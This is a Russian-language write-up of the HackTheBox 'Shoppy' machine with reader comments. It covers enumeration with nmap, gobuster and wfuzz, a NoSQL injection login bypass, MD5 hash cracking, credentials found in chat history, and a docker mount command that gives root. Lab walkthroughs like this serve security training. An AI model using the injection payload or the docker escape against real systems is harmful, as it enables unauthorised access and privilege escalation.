Исследование nmap -sV -sC показало:

port 22: OpenSSH

port 80: ngingx 1.23.1: redirects to http://shoppy.htb

Пропишем ip адрес машинки и shoppy.htb, для отображения, в /etc/hosts.

Vhost через gobuster:

Пока сканируем nmap, используем gobuster, чтоб найти потенциальные субдомены и расширить возможности проникновения.

gobuster vhost -w /home/hell59/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb

Вручную исследуем веб приложение:

Исследуем вручную исходный код приложения.

Не находим ничего, кроме таймера.

Поиск файлов и директорий

Давайте поищем директории и файлы, может найдём что-то интересное.

wfuzz -c -z file,/hell59/SecLists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "http://shoppy.htb/FUZZ/"

Видим, что есть /admin префикс, через который попадаем на /login:

MongoDB NoSQL

Посмотрев на авторизацию понимаем, что тут MongoDB NoSQL база данных.

Можем войти используя следующую логику NoSQL инъекции:

login: admin'||'1==1
password: admin

Получилось!

Про NoSQL инъекции можно почитать тут: https://book.hacktricks.xyz/pentesting-web/nosql-injection .

Введём admin'||'1==1 и получим список пользователей и хэш.

Используем hashcat, чтоб взломать полученный md5 hash

Используем hashcat, со словарём rockyou.txt и посмотрим на результаты:

Логинимся в субдомен.

Теперь заходим в субдомен mattermost, предварительно добавив его в /etc/hosts ,

http://www.mattermost.shoppy.htb с добытым паролем.

Тут история чата пользователя, и мы обнаружим важную информацию о machine deploy:

Получаем юзер флаг

С полученными данными логинимся через SSH, находим user.txt flag, делаем cat user.txt.

Sudo -l

Если покопаться в окрестностях и обратить внимание на все файлы в password-manager, то можно выудить и подставить пароль Sample.

Таким образом получаем данные username и password:

Логинимся через SSH как deploy пользователь.

Получаем root flag

Используем docker уязвимость, описанную тут.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Ура, мы получили root!

Комментарии (4)


  1. ZimM
    13.12.2022 15:00

    Посмотрев на авторизацию понимаем, что тут MongoDB NoSQL база данных.

    Как?.. Не вижу в этой форме авторизации ничего, намекающего на конкретную БД...


    1. mvyazov Автор
      13.12.2022 15:31

      Опустил в статье для краткости. Используем инструменты разработчика. Wappalyzer. Буду давать более подробные пояснения впредь.


      1. ZimM
        13.12.2022 17:11

        Я просто не очень понимаю даже, как это в теории должно работать. Ну окей, допустим, смотрим, что там шлется через инструменты разработчика. Но явно ведь логин/пароль уходит на некий бекенд, который уже логинится в БД. Не может ведь браузер напрямую с БД общаться?


        1. mvyazov Автор
          13.12.2022 18:35
          +1

          Конкретно в этой ситуации смотрел через BURP suite и wapplyazer. Совершенно верно говорите, что не напрямую, всё именно так, как вы описали. Просто обнаружив, что тут MongoDB , погуглил и обнаружил такую уязвимость, что и протестировал и оно сработало в данной конкретной ситуации.